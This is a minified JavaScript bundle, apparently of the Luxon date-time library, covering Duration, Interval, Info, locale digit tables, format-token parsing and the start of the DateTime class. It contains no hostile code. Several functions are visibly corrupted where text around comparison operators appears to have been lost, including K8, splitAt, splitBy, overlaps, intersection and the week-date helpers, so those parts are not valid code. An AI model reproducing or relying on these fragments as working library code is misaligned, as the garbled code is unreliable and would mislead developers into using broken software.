r={values:n?e.values:{...t.values,...e.values||{}},loc:t.loc.clone(e.loc),conversionAccuracy:e.conversionAccuracy||t.conversionAccuracy,matrix:e.matrix||t.matrix};return new ge(r)}function XE(t,e){let n=e.milliseconds??0;for(let r of G8.slice(1))e[r]&&(n+=e[r]*t[r].milliseconds);return n}function JD(t,e){let n=XE(t,e)<0?-1:1;Yo.reduceRight((r,i)=>{if(Be(e[i]))return r;if(r){let s=e[r]*n,o=t[i][r],a=Math.floor(s/o);e[i]+=a*n,e[r]-=a*o*n}return i},null),Yo.reduce((r,i)=>{if(Be(e[i]))return r;if(r){let s=e[r]%1;e[r]-=s,e[i]+=s*t[r][i]}return i},null)}function Q8(t){let e={};for(let[n,r]of Object.entries(t))r!==0&&(e[n]=r);return e}var ge=class t{constructor(e){let n=e.conversionAccuracy==="longterm"||!1,r=n?W8:H8;e.matrix&&(r=e.matrix),this.values=e.values,this.loc=e.loc||St.create(),this.conversionAccuracy=n?"longterm":"casual",this.invalid=e.invalid||null,this.matrix=r,this.isLuxonDuration=!0}static fromMillis(e,n){return t.fromObject({milliseconds:e},n)}static fromObject(e,n={}){if(e==null||typeof e!="object")throw new Pn(`Duration.fromObject: argument expected to be an object, got ${e===null?"null":typeof e}`);return new t({values:cm(e,t.normalizeUnit),loc:St.fromObject(n),conversionAccuracy:n.conversionAccuracy,matrix:n.matrix})}static fromDurationLike(e){if(Jo(e))return t.fromMillis(e);if(t.isDuration(e))return e;if(typeof e=="object")return t.fromObject(e);throw new Pn(`Unknown duration argument ${e} of type ${typeof e}`)}static fromISO(e,n){let[r]=L8(e);return r?t.fromObject(r,n):t.invalid("unparsable",`the input "${e}" can't be parsed as ISO 8601`)}static fromISOTime(e,n){let[r]=$8(e);return r?t.fromObject(r,n):t.invalid("unparsable",`the input "${e}" can't be parsed as ISO 8601`)}static invalid(e,n=null){if(!e)throw new Pn("need to specify a reason the Duration is invalid");let r=e instanceof tr?e:new tr(e,n);if(xt.throwOnInvalid)throw new Ww(r);return new t({invalid:r})}static normalizeUnit(e){let n={year:"years",years:"years",quarter:"quarters",quarters:"quarters",month:"months",months:"months",week:"weeks",weeks:"weeks",day:"days",days:"days",hour:"hours",hours:"hours",minute:"minutes",minutes:"minutes",second:"seconds",seconds:"seconds",millisecond:"milliseconds",milliseconds:"milliseconds"}[e&&e.toLowerCase()];if(!n)throw new im(e);return n}static isDuration(e){return e&&e.isLuxonDuration||!1}get locale(){return this.isValid?this.loc.locale:null}get numberingSystem(){return this.isValid?this.loc.numberingSystem:null}toFormat(e,n={}){let r={...n,floor:n.round!==!1&&n.floor!==!1};return this.isValid?er.create(this.loc,r).formatDurationFromString(this,e):YD}toHuman(e={}){if(!this.isValid)return YD;let n=Yo.map(r=>{let i=this.values[r];return Be(i)?null:this.loc.numberFormatter({style:"unit",unitDisplay:"long",...e,unit:r.slice(0,-1)}).format(i)}).filter(r=>r);return this.loc.listFormatter({type:"conjunction",style:e.listStyle||"narrow",...e}).format(n)}toObject(){return this.isValid?{...this.values}:{}}toISO(){if(!this.isValid)return null;let e="P";return this.years!==0&&(e+=this.years+"Y"),(this.months!==0||this.quarters!==0)&&(e+=this.months+this.quarters*3+"M"),this.weeks!==0&&(e+=this.weeks+"W"),this.days!==0&&(e+=this.days+"D"),(this.hours!==0||this.minutes!==0||this.seconds!==0||this.milliseconds!==0)&&(e+="T"),this.hours!==0&&(e+=this.hours+"H"),this.minutes!==0&&(e+=this.minutes+"M"),(this.seconds!==0||this.milliseconds!==0)&&(e+=f0(this.seconds+this.milliseconds/1e3,3)+"S"),e==="P"&&(e+="T0S"),e}toISOTime(e={}){if(!this.isValid)return null;let n=this.toMillis();return n<0||n>=864e5?null:(e={suppressMilliseconds:!1,suppressSeconds:!1,includePrefix:!1,format:"extended",...e,includeOffset:!1},Ae.fromMillis(n,{zone:"UTC"}).toISOTime(e))}toJSON(){return this.toISO()}toString(){return this.toISO()}toMillis(){return this.isValid?XE(this.matrix,this.values):NaN}valueOf(){return this.toMillis()}plus(e){if(!this.isValid)return this;let n=t.fromDurationLike(e),r={};for(let i of Yo)(bl(n.values,i)||bl(this.values,i))&&(r[i]=n.get(i)+this.get(i));return Os(this,{values:r},!0)}minus(e){if(!this.isValid)return this;let n=t.fromDurationLike(e);return this.plus(n.negate())}mapUnits(e){if(!this.isValid)return this;let n={};for(let r of Object.keys(this.values))n[r]=LE(e(this.values[r],r));return Os(this,{values:n},!0)}get(e){return this[t.normalizeUnit(e)]}set(e){if(!this.isValid)return this;let n={...this.values,...cm(e,t.normalizeUnit)};return Os(this,{values:n})}reconfigure({locale:e,numberingSystem:n,conversionAccuracy:r,matrix:i}={}){let o={loc:this.loc.clone({locale:e,numberingSystem:n}),matrix:i,conversionAccuracy:r};return Os(this,o)}as(e){return this.isValid?this.shiftTo(e).get(e):NaN}normalize(){if(!this.isValid)return this;let e=this.toObject();return JD(this.matrix,e),Os(this,{values:e},!0)}rescale(){if(!this.isValid)return this;let e=Q8(this.normalize().shiftToAll().toObject());return Os(this,{values:e},!0)}shiftTo(...e){if(!this.isValid)return this;if(e.length===0)return this;e=e.map(o=>t.normalizeUnit(o));let n={},r={},i=this.toObject(),s;for(let o of Yo)if(e.indexOf(o)>=0){s=o;let a=0;for(let c in r)a+=this.matrix[c][o]*r[c],r[c]=0;Jo(i[o])&&(a+=i[o]);let l=Math.trunc(a);n[o]=l,r[o]=(a*1e3-l*1e3)/1e3}else Jo(i[o])&&(r[o]=i[o]);for(let o in r)r[o]!==0&&(n[s]+=o===s?r[o]:r[o]/this.matrix[s][o]);return JD(this.matrix,n),Os(this,{values:n},!0)}shiftToAll(){return this.isValid?this.shiftTo("years","months","weeks","days","hours","minutes","seconds","milliseconds"):this}negate(){if(!this.isValid)return this;let e={};for(let n of Object.keys(this.values))e[n]=this.values[n]===0?0:-this.values[n];return Os(this,{values:e},!0)}get years(){return this.isValid?this.values.years||0:NaN}get quarters(){return this.isValid?this.values.quarters||0:NaN}get months(){return this.isValid?this.values.months||0:NaN}get weeks(){return this.isValid?this.values.weeks||0:NaN}get days(){return this.isValid?this.values.days||0:NaN}get hours(){return this.isValid?this.values.hours||0:NaN}get minutes(){return this.isValid?this.values.minutes||0:NaN}get seconds(){return this.isValid?this.values.seconds||0:NaN}get milliseconds(){return this.isValid?this.values.milliseconds||0:NaN}get isValid(){return this.invalid===null}get invalidReason(){return this.invalid?this.invalid.reason:null}get invalidExplanation(){return this.invalid?this.invalid.explanation:null}equals(e){if(!this.isValid||!e.isValid||!this.loc.equals(e.loc))return!1;function n(r,i){return r===void 0||r===0?i===void 0||i===0:r===i}for(let r of Yo)if(!n(this.values[r],e.values[r]))return!1;return!0}},pl="Invalid Interval";function K8(t,e){return!t||!t.isValid?wl.invalid("missing or invalid start"):!e||!e.isValid?wl.invalid("missing or invalid end"):ee:!1}isBefore(e){return this.isValid?this.e<=e:!1}contains(e){return this.isValid?this.s<=e&&this.e>e:!1}set({start:e,end:n}={}){return this.isValid?t.fromDateTimes(e||this.s,n||this.e):this}splitAt(...e){if(!this.isValid)return[];let n=e.map(Cu).filter(o=>this.contains(o)).sort(),r=[],{s:i}=this,s=0;for(;i+this.e?this.e:o;r.push(t.fromDateTimes(i,a)),i=a,s+=1}return r}splitBy(e){let n=ge.fromDurationLike(e);if(!this.isValid||!n.isValid||n.as("milliseconds")===0)return[];let{s:r}=this,i=1,s,o=[];for(;rl*i));s=+a>+this.e?this.e:a,o.push(t.fromDateTimes(r,s)),r=s,i+=1}return o}divideEqually(e){return this.isValid?this.splitBy(this.length()/e).slice(0,e):[]}overlaps(e){return this.e>e.s&&this.s=e.e:!1}equals(e){return!this.isValid||!e.isValid?!1:this.s.equals(e.s)&&this.e.equals(e.e)}intersection(e){if(!this.isValid)return this;let n=this.s>e.s?this.s:e.s,r=this.e=r?null:t.fromDateTimes(n,r)}union(e){if(!this.isValid)return this;let n=this.se.e?this.e:e.e;return t.fromDateTimes(n,r)}static merge(e){let[n,r]=e.sort((i,s)=>i.s-s.s).reduce(([i,s],o)=>s?s.overlaps(o)||s.abutsStart(o)?[i,s.union(o)]:[i.concat([s]),o]:[i,o],[[],null]);return r&&n.push(r),n}static xor(e){let n=null,r=0,i=[],s=e.map(l=>[{time:l.s,type:"s"},{time:l.e,type:"e"}]),o=Array.prototype.concat(...s),a=o.sort((l,c)=>l.time-c.time);for(let l of a)r+=l.type==="s"?1:-1,r===1?n=l.time:(n&&+n!=+l.time&&i.push(t.fromDateTimes(n,l.time)),n=null);return t.merge(i)}difference(...e){return t.xor([this].concat(e)).map(n=>this.intersection(n)).filter(n=>n&&!n.isEmpty())}toString(){return this.isValid?`[${this.s.toISO()} \u2013 ${this.e.toISO()})`:pl}toLocaleString(e=sm,n={}){return this.isValid?er.create(this.s.loc.clone(n),e).formatInterval(this):pl}toISO(e){return this.isValid?`${this.s.toISO(e)}/${this.e.toISO(e)}`:pl}toISODate(){return this.isValid?`${this.s.toISODate()}/${this.e.toISODate()}`:pl}toISOTime(e){return this.isValid?`${this.s.toISOTime(e)}/${this.e.toISOTime(e)}`:pl}toFormat(e,{separator:n=" \u2013 "}={}){return this.isValid?`${this.s.toFormat(e)}${n}${this.e.toFormat(e)}`:pl}toDuration(e,n){return this.isValid?this.e.diff(this.s,e,n):ge.invalid(this.invalidReason)}mapEndpoints(e){return t.fromDateTimes(e(this.s),e(this.e))}},gl=class{static hasDST(e=xt.defaultZone){let n=Ae.now().setZone(e).set({month:12});return!e.isUniversal&&n.offset!==n.set({month:6}).offset}static isValidIANAZone(e){return Ms.isValidZone(e)}static normalizeZone(e){return Ns(e,xt.defaultZone)}static months(e="long",{locale:n=null,numberingSystem:r=null,locObj:i=null,outputCalendar:s="gregory"}={}){return(i||St.create(n,r,s)).months(e)}static monthsFormat(e="long",{locale:n=null,numberingSystem:r=null,locObj:i=null,outputCalendar:s="gregory"}={}){return(i||St.create(n,r,s)).months(e,!0)}static weekdays(e="long",{locale:n=null,numberingSystem:r=null,locObj:i=null}={}){return(i||St.create(n,r,null)).weekdays(e)}static weekdaysFormat(e="long",{locale:n=null,numberingSystem:r=null,locObj:i=null}={}){return(i||St.create(n,r,null)).weekdays(e,!0)}static meridiems({locale:e=null}={}){return St.create(e).meridiems()}static eras(e="short",{locale:n=null}={}){return St.create(n,null,"gregory").eras(e)}static features(){return{relative:RE()}}};function XD(t,e){let n=i=>i.toUTC(0,{keepLocalTime:!0}).startOf("day").valueOf(),r=n(e)-n(t);return Math.floor(ge.fromMillis(r).as("days"))}function Z8(t,e,n){let r=[["years",(l,c)=>c.year-l.year],["quarters",(l,c)=>c.quarter-l.quarter+(c.year-l.year)*4],["months",(l,c)=>c.month-l.month+(c.year-l.year)*12],["weeks",(l,c)=>{let u=XD(l,c);return(u-u%7)/7}],["days",XD]],i={},s=t,o,a;for(let[l,c]of r)n.indexOf(l)>=0&&(o=l,i[l]=c(t,e),a=s.plus(i),a>e?(i[l]--,t=s.plus(i),t>e&&(a=t,i[l]--,t=s.plus(i))):t=a);return[t,i,a,o]}function Y8(t,e,n,r){let[i,s,o,a]=Z8(t,e,n),l=e-i,c=n.filter(f=>["hours","minutes","seconds","milliseconds"].indexOf(f)>=0);c.length===0&&(o0?ge.fromMillis(l,r).shiftTo(...c).plus(u):u}var p0={arab:"[\u0660-\u0669]",arabext:"[\u06F0-\u06F9]",bali:"[\u1B50-\u1B59]",beng:"[\u09E6-\u09EF]",deva:"[\u0966-\u096F]",fullwide:"[\uFF10-\uFF19]",gujr:"[\u0AE6-\u0AEF]",hanidec:"[\u3007|\u4E00|\u4E8C|\u4E09|\u56DB|\u4E94|\u516D|\u4E03|\u516B|\u4E5D]",khmr:"[\u17E0-\u17E9]",knda:"[\u0CE6-\u0CEF]",laoo:"[\u0ED0-\u0ED9]",limb:"[\u1946-\u194F]",mlym:"[\u0D66-\u0D6F]",mong:"[\u1810-\u1819]",mymr:"[\u1040-\u1049]",orya:"[\u0B66-\u0B6F]",tamldec:"[\u0BE6-\u0BEF]",telu:"[\u0C66-\u0C6F]",thai:"[\u0E50-\u0E59]",tibt:"[\u0F20-\u0F29]",latn:"\\d"},eE={arab:[1632,1641],arabext:[1776,1785],bali:[6992,7001],beng:[2534,2543],deva:[2406,2415],fullwide:[65296,65303],gujr:[2790,2799],khmr:[6112,6121],knda:[3302,3311],laoo:[3792,3801],limb:[6470,6479],mlym:[3430,3439],mong:[6160,6169],mymr:[4160,4169],orya:[2918,2927],tamldec:[3046,3055],telu:[3174,3183],thai:[3664,3673],tibt:[3872,3881]},J8=p0.hanidec.replace(/[\[|\]]/g,"").split("");function X8(t){let e=parseInt(t,10);if(isNaN(e)){e="";for(let n=0;n=s&&r<=o&&(e+=r-s)}}return parseInt(e,10)}else return e}function Vr({numberingSystem:t},e=""){return new RegExp(`${p0[t||"latn"]}${e}`)}var e4="missing Intl.DateTimeFormat.formatToParts support";function Ze(t,e=n=>n){return{regex:t,deser:([n])=>e(X8(n))}}var t4="\xA0",e_=`[ ${t4}]`,t_=new RegExp(e_,"g");function n4(t){return t.replace(/\./g,"\\.?").replace(t_,e_)}function tE(t){return t.replace(/\./g,"").replace(t_," ").toLowerCase()}function Hr(t,e){return t===null?null:{regex:RegExp(t.map(n4).join("|")),deser:([n])=>t.findIndex(r=>tE(n)===tE(r))+e}}function nE(t,e){return{regex:t,deser:([,n,r])=>gm(n,r),groups:e}}function Jd(t){return{regex:t,deser:([e])=>e}}function r4(t){return t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")}function i4(t,e){let n=Vr(e),r=Vr(e,"{2}"),i=Vr(e,"{3}"),s=Vr(e,"{4}"),o=Vr(e,"{6}"),a=Vr(e,"{1,2}"),l=Vr(e,"{1,3}"),c=Vr(e,"{1,6}"),u=Vr(e,"{1,9}"),f=Vr(e,"{2,4}"),h=Vr(e,"{4,6}"),d=y=>({regex:RegExp(r4(y.val)),deser:([w])=>w,literal:!0}),g=(y=>{if(t.literal)return d(y);switch(y.val){case"G":return Hr(e.eras("short"),0);case"GG":return Hr(e.eras("long"),0);case"y":return Ze(c);case"yy":return Ze(f,t0);case"yyyy":return Ze(s);case"yyyyy":return Ze(h);case"yyyyyy":return Ze(o);case"M":return Ze(a);case"MM":return Ze(r);case"MMM":return Hr(e.months("short",!0),1);case"MMMM":return Hr(e.months("long",!0),1);case"L":return Ze(a);case"LL":return Ze(r);case"LLL":return Hr(e.months("short",!1),1);case"LLLL":return Hr(e.months("long",!1),1);case"d":return Ze(a);case"dd":return Ze(r);case"o":return Ze(l);case"ooo":return Ze(i);case"HH":return Ze(r);case"H":return Ze(a);case"hh":return Ze(r);case"h":return Ze(a);case"mm":return Ze(r);case"m":return Ze(a);case"q":return Ze(a);case"qq":return Ze(r);case"s":return Ze(a);case"ss":return Ze(r);case"S":return Ze(l);case"SSS":return Ze(i);case"u":return Jd(u);case"uu":return Jd(a);case"uuu":return Ze(n);case"a":return Hr(e.meridiems(),0);case"kkkk":return Ze(s);case"kk":return Ze(f,t0);case"W":return Ze(a);case"WW":return Ze(r);case"E":case"c":return Ze(n);case"EEE":return Hr(e.weekdays("short",!1),1);case"EEEE":return Hr(e.weekdays("long",!1),1);case"ccc":return Hr(e.weekdays("short",!0),1);case"cccc":return Hr(e.weekdays("long",!0),1);case"Z":case"ZZ":return nE(new RegExp(`([+-]${a.source})(?::(${r.source}))?`),2);case"ZZZ":return nE(new RegExp(`([+-]${a.source})(${r.source})?`),2);case"z":return Jd(/[a-z_+-/]{1,256}?/i);case" ":return Jd(/[^\S\n\r]/);default:return d(y)}})(t)||{invalidReason:e4};return g.token=t,g}var s4={year:{"2-digit":"yy",numeric:"yyyyy"},month:{numeric:"M","2-digit":"MM",short:"MMM",long:"MMMM"},day:{numeric:"d","2-digit":"dd"},weekday:{short:"EEE",long:"EEEE"},dayperiod:"a",dayPeriod:"a",hour12:{numeric:"h","2-digit":"hh"},hour24:{numeric:"H","2-digit":"HH"},minute:{numeric:"m","2-digit":"mm"},second:{numeric:"s","2-digit":"ss"},timeZoneName:{long:"ZZZZZ",short:"ZZZ"}};function o4(t,e,n){let{type:r,value:i}=t;if(r==="literal"){let l=/^\s+$/.test(i);return{literal:!l,val:l?" ":i}}let s=e[r],o=r;r==="hour"&&(e.hour12!=null?o=e.hour12?"hour12":"hour24":e.hourCycle!=null?e.hourCycle==="h11"||e.hourCycle==="h12"?o="hour12":o="hour24":o=n.hour12?"hour12":"hour24");let a=s4[o];if(typeof a=="object"&&(a=a[s]),a)return{literal:!1,val:a}}function a4(t){return[`^${t.map(n=>n.regex).reduce((n,r)=>`${n}(${r.source})`,"")}$`,t]}function l4(t,e,n){let r=t.match(e);if(r){let i={},s=1;for(let o in n)if(bl(n,o)){let a=n[o],l=a.groups?a.groups+1:1;!a.literal&&a.token&&(i[a.token.val[0]]=a.deser(r.slice(s,s+l))),s+=l}return[r,i]}else return[r,{}]}function c4(t){let e=s=>{switch(s){case"S":return"millisecond";case"s":return"second";case"m":return"minute";case"h":case"H":return"hour";case"d":return"day";case"o":return"ordinal";case"L":case"M":return"month";case"y":return"year";case"E":case"c":return"weekday";case"W":return"weekNumber";case"k":return"weekYear";case"q":return"quarter";default:return null}},n=null,r;return Be(t.z)||(n=Ms.create(t.z)),Be(t.Z)||(n||(n=new _r(t.Z)),r=t.Z),Be(t.q)||(t.M=(t.q-1)*3+1),Be(t.h)||(t.h<12&&t.a===1?t.h+=12:t.h===12&&t.a===0&&(t.h=0)),t.G===0&&t.y&&(t.y=-t.y),Be(t.u)||(t.S=u0(t.u)),[Object.keys(t).reduce((s,o)=>{let a=e(o);return a&&(s[a]=t[o]),s},{}),n,r]}var Lw=null;function u4(){return Lw||(Lw=Ae.fromMillis(1555555555555)),Lw}function f4(t,e){if(t.literal)return t;let n=er.macroTokenToFormatOpts(t.val),r=i_(n,e);return r==null||r.includes(void 0)?t:r}function n_(t,e){return Array.prototype.concat(...t.map(n=>f4(n,e)))}function r_(t,e,n){let r=n_(er.parseFormat(n),t),i=r.map(o=>i4(o,t)),s=i.find(o=>o.invalidReason);if(s)return{input:e,tokens:r,invalidReason:s.invalidReason};{let[o,a]=a4(i),l=RegExp(o,"i"),[c,u]=l4(e,l,a),[f,h,d]=u?c4(u):[null,null,void 0];if(bl(u,"a")&&bl(u,"H"))throw new Zo("Can't include meridiem when specifying 24-hour format");return{input:e,tokens:r,regex:l,rawMatches:c,matches:u,result:f,zone:h,specificOffset:d}}}function h4(t,e,n){let{result:r,zone:i,specificOffset:s,invalidReason:o}=r_(t,e,n);return[r,i,s,o]}function i_(t,e){if(!t)return null;let r=er.create(e,t).dtFormatter(u4()),i=r.formatToParts(),s=r.resolvedOptions();return i.map(o=>o4(o,t,s))}var s_=[0,31,59,90,120,151,181,212,243,273,304,334],o_=[0,31,60,91,121,152,182,213,244,274,305,335];function Er(t,e){return new tr("unit out of range",`you specified ${e} (of type ${typeof e}) as a ${t}, which is invalid`)}function a_(t,e,n){let r=new Date(Date.UTC(t,e-1,n));t<100&&t>=0&&r.setUTCFullYear(r.getUTCFullYear()-1900);let i=r.getUTCDay();return i===0?7:i}function l_(t,e,n){return n+(Nu(t)?o_:s_)[e-1]}function c_(t,e){let n=Nu(t)?o_:s_,r=n.findIndex(s=>slm(e)?(a=e+1,o=1):a=e,{weekYear:a,weekNumber:o,weekday:s,...ym(t)}}function rE(t){let{weekYear:e,weekNumber:n,weekday:r}=t,i=a_(e,1,4),s=Iu(e),o=n*7+r-i-3,a;o<1?(a=e-1,o+=Iu(a)):o>s?(a=e+1,o-=Iu(e)):a=e;let{month:l,day:c}=c_(a,o);return{year:a,month:l,day:c,...ym(t)}}function Bw(t){let{year:e,month:n,day:r}=t,i=l_(e,n,r);return{year:e,ordinal:i,...ym(t)}}function iE(t){let{year:e,ordinal:n}=t,{month:r,day:i}=c_(e,n);return{year:e,month:r,day:i,...ym(t)}}function d4(t){let e=mm(t.weekYear),n=Ji(t.weekNumber,1,lm(t.weekYear)),r=Ji(t.weekday,1,7);return e?n?r?!1:Er("weekday",t.weekday):Er("week",t.week):Er("weekYear",t.weekYear)}function m4(t){let e=mm(t.year),n=Ji(t.ordinal,1,Iu(t.year));return e?n?!1:Er("ordinal",t.ordinal):Er("year",t.year)}function u_(t){let e=mm(t.year),n=Ji(t.month,1,12),r=Ji(t.day,1,am(t.year,t.month));return e?n?r?!1:Er("day",t.day):Er("month",t.month):Er("year",t.year)}function f_(t){let{hour:e,minute:n,second:r,millisecond:i}=t,s=Ji(e,0,23)||e===24&&n===0&&r===0&&i===0,o=Ji(n,0,59),a=Ji(r,0,59),l=Ji(i,0,999);return s?o?a?l?!1:Er("millisecond",i):Er("second",r):Er("minute",n):Er("hour",e)}var $w="Invalid DateTime",sE=864e13;function Xd(t){return new tr("unsupported zone",`the zone "${t.name}" is not supported`)}function Uw(t){return t.weekData===null&&(t.weekData=n0(t.c)),t.weekData}function Ko(t,e){let n={ts:t.ts,zone:t.zone,c:t.c,o:t.o,loc:t.loc,invalid:t.invalid};return new Ae({...n,...e,old:n})}function h_(t,e,n){let r=t-e*60*1e3,i=n.offset(r);if(e===i)return[r,e];r-=(i-e)*60*1e3;let s=n.offset(r);return i===s?[r,i]:[t-Math.min(i,s)*60*1e3,Math.max(i,s)]}function em(t,e){t+=e*60*1e3;let n=new Date(t);return{year:n.getUTCFullYear(),month:n.getUTCMonth()+1,day:n.getUTCDate(),hour:n.getUTCHours(),minute:n.getUTCMinutes(),second:n.getUTCSeconds(),millisecond:n.getUTCMilliseconds()}}function rm(t,e,n){return h_(pm(t),e,n)}function oE(t,e){let n=t.o,r=t.c.year+Math.trunc(e.years),i=t.c.month+Math.trunc(e.months)+Math.trunc(e.quarters)*3,s={...t.c,year:r,month:i,day:Math.min(t.c.day,am(r,i))+Math.trunc(e.days)+Math.trunc(e.weeks)*7},o=ge.fromObject({years:e.years-Math.trunc(e.years),quarters:e.quarters-Math.trunc(e.quarters),months:e.months-Math.trunc(e.months),weeks:e.weeks-Math.trunc(e.weeks),days:e.days-Math.trunc(e.days),hours:e.hours,minutes:e.minutes,seconds:e.seconds,milliseconds:e.milliseconds}).as("milliseconds"),a=pm(s),[l,c]=h_(a,n,t.zone);return o!==0&&(l+=o,c=t.zone.offset(l)),{ts:l,o:c}}function _u(t,e,n,r,i,s){let{setZone:o,zone:a}=n;if(t&&Object.keys(t).length!==0||e){let l=e||a,c=Ae.fromObject(t,{...n,zone:l,specificOffset:s});return o?c:c.setZone(a)}else return Ae.invalid(new tr("unparsable",`the input "${i}" can't be parsed as ${r}`))}function tm(t,e,n=!0){return t.isValid?er.create(St.create("en-US"),{allowZ:n,forceSimple:!0}).formatDateTimeFromString(t,e):null}function jw(t,e){let n=t.c.year>9999||t.c.year<0,r="";return n&&t.c.year>=0&&(r+="+"),r+=Ot(t.c.year,n?6:4),e?(r+="-",r+=Ot(t.c.month),r+="-",r+=Ot(t.c.day)):(r+=Ot(t.c.month),r+=Ot(t.c.day)),r}function aE(t,e,n,r,i,s){let o=Ot(t.c.hour);return e?(o+=":",o+=Ot(t.c.minute),(t.c.millisecond!==0||t.c.second!==0||!n)&&(o+=":")):o+=Ot(t.c.minute),(t.c.millisecond!==0||t.c.second!==0||!n)&&(o+=Ot(t.c.second),(t.c.millisecond!==0||!r)&&(o+=".",o+=Ot(t.c.millisecond,3))),i&&(t.isOffsetFixed&&t.offset===0&&!s?o+="Z":t.o<0?(o+="-",o+=Ot(Math.trunc(-t.o/60)),o+=":",o+=Ot(Math.trunc(-t.o%60))):(o+="+",o+=Ot(Math.trunc(t.o/60)),o+=":",o+=Ot(Math.trunc(t.o%60)))),s&&(o+="["+t.zone.ianaName+"]"),o}var d_={month:1,day:1,hour:0,minute:0,second:0,millisecond:0},p4={weekNumber:1,weekday:1,hour:0,minute:0,second:0,millisecond:0},g4={ordinal:1,hour:0,minute:0,second:0,millisecond:0},m_=["year","month","day","hour","minute","second","millisecond"],y4=["weekYear","weekNumber","weekday","hour","minute","second","millisecond"],w4=["year","ordinal","hour","minute","second","millisecond"];function lE(t){let e={year:"year",years:"year",month:"month",months:"month",day:"day",days:"day",hour:"hour",hours:"hour",minute:"minute",minutes:"minute",quarter:"quarter",quarters:"quarter",second:"second",seconds:"second",millisecond:"millisecond",milliseconds:"millisecond",weekday:"weekday",weekdays:"weekday",weeknumber:"weekNumber",weeksnumber:"weekNumber",weeknumbers:"weekNumber",weekyear:"weekYear",weekyears:"weekYear",ordinal:"ordinal"}[t.toLowerCase()];if(!e)throw new im(t);return e}function cE(t,e){let n=Ns(e.zone,xt.defaultZone),r=St.fromObject(e),i=xt.now(),s,o;if(Be(t.year))s=i;else{for(let c of m_)Be(t[c])&&(t[c]=d_[c]);let a=u_(t)||f_(t);if(a)return Ae.invalid(a);let l=n.offset(i);[s,o]=rm(t,l,n)}return new Ae({ts:s,zone:n,loc:r,o})}function uE(t,e,n){let r=Be(n.round)?!0:n.round,i=(o,a)=>(o=f0(o,r||n.calendary?0:2,!0),e.loc.clone(n).relFormatter(n).format(o,a)),s=o=>n.calendary?e.hasSame(t,o)?0:e.startOf(o).diff(t.startOf(o),o).get(o):e.diff(t,o).get(o);if(n.unit)return i(s(n.unit),n.unit);for(let o of n.units){let a=s(o);if(Math.abs(a)>=1)return i(a,o)}return i(t>e?-0:0,n.units[n.units.length-1])}function fE(t){let e={},n;return t.length>0&&typeof t[t.length-1]=="object"?(e=t[t.length-1],n=Array.from(t).slice(0,t.length-1)):n=Array.from(t),[e,n]}var Ae=class t{constructor(e){let n=e.zone||xt.defaultZone,r=e.invalid||(Number.isNaN(e.ts)?new tr("invalid input"):null)||(n.isValid?null:Xd(n));this.ts=Be(e.ts)?xt.now():e.ts;let i=null,s=null;if(!r)if(e.old&&e.old.ts===this.ts&&e.old.zone.equals(n))[i,s]=[e.old.c,e.old.o];else{let a=n.offset(this.ts);i=em(this.ts,a),r=Number.isNaN(i.year)?new tr("invalid input"):null,i=r?null:i,s=r?null:a}this._zone=n,this.loc=e.loc||St.create(),this.invalid=r,this.weekData=null,this.c=i,this.o=s,this.isLuxonDateTime=!0}static now(){return new t({})}static local(){let[e,n]=fE(arguments),[r,i,s,o,a,l,c]=n;return cE({year:r,month:i,day:s,hour:o,minute:a,second:l,millisecond:c},e)}static utc(){let[e,n]=fE(arguments),[r,i,s,o,a,l,c]=n;return e.zone=_r.utcInstance,cE({year:r,month:i,day:s,hour:o,minute:a,second:l,millisecond:c},e)}static fromJSDate(e,n={}){let r=WU(e)?e.valueOf():NaN;if(Number.isNaN(r))return t.invalid("invalid input");let i=Ns(n.zone,xt.defaultZone);return i.isValid?new t({ts:r,zone:i,loc:St.fromObject(n)}):t.invalid(Xd(i))}static fromMillis(e,n={}){if(Jo(e))return e<-sE||e>sE?t.invalid("Timestamp out of range"):new t({ts:e,zone:Ns(n.zone,xt.defaultZone),loc:St.fromObject(n)});throw new Pn(`fromMillis requires a numerical input, but received a ${typeof e} with value ${e}`)}static fromSeconds(e,n={}){if(Jo(e))return new t({ts:e*1e3,zone:Ns(n.zone,xt.defaultZone),loc:St.fromObject(n)});throw new Pn("fromSeconds requires a numerical input")}static fromObject(e,n={}){e=e||{};let r=Ns(n.zone,xt.defaultZone);if(!r.isValid)return t.invalid(Xd(r));let i=xt.now(),s=Be(n.specificOffset)?r.offset(i):n.specificOffset,o=cm(e,lE),a=!Be(o.ordinal),l=!Be(o.year),c=!Be(o.month)||!Be(o.day),u=l||c,f=o.weekYear||o.weekNumber,h=St.fromObject(n);if((u||a)&&f)throw new Zo("Can't mix weekYear/weekNumber units with year/month/day or ordinals");if(c&&a)throw new Zo("Can't mix ordinal dates with month/day");let d=f||o.weekday&&!u,p,g,y=em(i,s);d?(p=y4,g=p4,y=n0(y)):a?(p=w4,g=g4,y=Bw(y)):(p=m_,g=d_);let w=!1;for(let _ of p){let C=o[_];Be(C)?w?o[_]=g[_]:o[_]=y[_]:w=!0}let b=d?d4(o):a?m4(o):u_(o),S=b||f_(o);if(S)return t.invalid(S);let D=d?rE(o):a?iE(o):o,[k,E]=rm(D,s,r),v=new t({ts:k,zone:r,o:E,loc:h});return o.weekday&&u&&e.weekday!==v.weekday?t.invalid("mismatched weekday",`you can't specify both a weekday of ${o.weekday} and a date of ${v.toISO()}`):v}static fromISO(e,n={}){let[r,i]=M8(e);return _u(r,i,n,"ISO 8601",e)}static fromRFC2822(e,n={}){let[r,i]=R8(e);return _u(r,i,n,"RFC 2822",e)}static fromHTTP(e,n={}){let[r,i]=z8(e);return _u(r,i,n,"HTTP",n)}static fromFormat(e,n,r={}){if(Be(e)||Be(n))throw new Pn("fromFormat requires an input string and a format");let{locale:i=null,numberingSystem:s=null}=r,o=St.fromOpts({locale:i,numberingSystem:s,defaultToEN:!0}),[a,l,c,u]=h4(o,e,n);return u?t.invalid(u):_u(a,l,r,`format ${n}`,e,c)}static fromString(e,n,r={}){return t.fromFormat(e,n,r)}static fromSQL(e,n={}){let[r,i]=V8(e);return _u(r,i,n,"SQL",e)}static invalid(e,n=null){if(!e)throw new Pn("need to specify a reason the DateTime is invalid");let r=e instanceof tr?e:new tr(e,n);if(xt.throwOnInvalid)throw new Vw(r);return new t({invalid:r})}static isDateTime(e){return e&&e.isLuxonDateTime||!1}static parseFormatForOpts(e,n={}){let r=i_(e,St.fromObject(n));return r?r.map(i=>i?i.val:null).join(""):null}static expandFormat(e,n={}){return n_(er.parseFormat(e),St.fromObject(n)).map(i=>i.val).join("")}get(e){return this[e]}get isValid(){return this.invalid===null}get invalidReason(){return this.invalid?this.invalid.reason:null}get invalidExplanation(){return this.invalid?this.invalid.explanation:null}get locale(){return this.isValid?this.loc.locale:null}get 